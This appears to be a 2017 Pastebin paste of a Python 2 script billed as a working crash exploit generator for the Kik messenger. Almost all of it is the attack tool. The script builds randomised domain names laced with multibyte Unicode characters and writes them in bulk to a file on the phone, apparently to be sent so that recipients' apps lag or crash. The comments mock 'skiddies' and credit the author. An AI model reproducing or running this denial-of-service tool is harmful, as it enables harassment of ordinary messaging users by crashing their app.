KekSec

Kik crash code generator [Working May 2017]

May 19th, 2017
2,100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. #-*-coding:utf8;-*-
  2. #qpy:2
  3. #qpy:console
  4. #Kik crash code generator
  5. #POC exploit for unicode parsing error causing DoS when handling domains and URLs
  6. #Cheers skiddies ^-^
  7.  
  8. import string, random
  9.  
  10. print
  11. print " /-------------------------------------------------\\"
  12. print "| Welcome to Milenkos Kik crash exploit generator! |"
  13. print " \-------------------------------------------------/"
  14. print
  15.  
  16. crashchars = [
  17. '\xe2\x82\xac',
  18. '\xc2\xa3',
  19. '\xc2\xa5',
  20. '\xe2\x82\xa9',
  21. '\xc2\xa4',
  22. '\xe2\x99\xa1',
  23. '\xe2\x99\xa5',
  24. '\xe3\x80\x8a',
  25. '\xe3\x80\x8b',
  26. '\xc2\xa1',
  27. '\xc2\xbf',
  28. '\xec\x9b\x83',
  29. '\xc2\xa2',
  30. '\xc2\xa9',
  31. '\xc2\xae',
  32. '\xe2\x84\xa2',
  33. '\xc2\xac',
  34. '\xc2\xa6',
  35. '\xc3\xb7',
  36. '\xc2\xb0',
  37. '\xc2\xb6',
  38. '\xc2\xa7',
  39. '\xc3\x97'
  40. ]
  41.  
  42. domainchars = []
  43. chars = string.letters + string.digits
  44.  
  45.  
  46.  
  47. for char in chars:
  48. domainchars.append(char)
  49.  
  50. domains = """net
  51. com
  52. org
  53. us
  54. gov
  55. mil
  56. edu
  57. pornhub.com
  58. kik.com
  59. gaybeast.com
  60. tubgirl.ca
  61. goatse.info
  62. meatspin.com
  63. xvideos.com
  64. xxnx.com
  65. cia.gov
  66. nsa.gov
  67. fbi.gov
  68. dea.gov
  69. whitehouse.gov
  70. knowyourmeme.com
  71. int
  72. pn
  73. tk
  74. cf
  75. nz
  76. ga""".split()
  77.  
  78. class TrackedFile(file):
  79. def __init__(self, filename, mode):
  80. self.size = 0
  81. super(TrackedFile, self).__init__(filename, mode)
  82. def write(self, s):
  83. self.size += len(s)
  84. super(TrackedFile, self).write(s)
  85. fh = TrackedFile("/sdcard/crashdomains.txt", "ab")
  86.  
  87. crashkb = float(raw_input("How many kilobytes of crash domains? (increases lag) "))
  88.  
  89. while fh.size < crashkb * 1024:
  90. crashdomain = ""
  91. for char in xrange(0, random.randrange(4, 6)):
  92. crashdomain += random.choice(domainchars)
  93. crashdomain = ''.join('%s%s' % (x, unicode(random.choice(crashchars), 'utf8') if random.random() > 0.50 else '') for x in crashdomain)
  94. crashdomain += "." + random.choice(domains)
  95. fh.write(crashdomain.encode('utf8', 'replace') + "\r\n")
  96. fh.close()
  97.  
  98. print
  99. print "Done. Thank Milenko the hax gawd"
Advertisement
Add Comment
Please, Sign In to add comment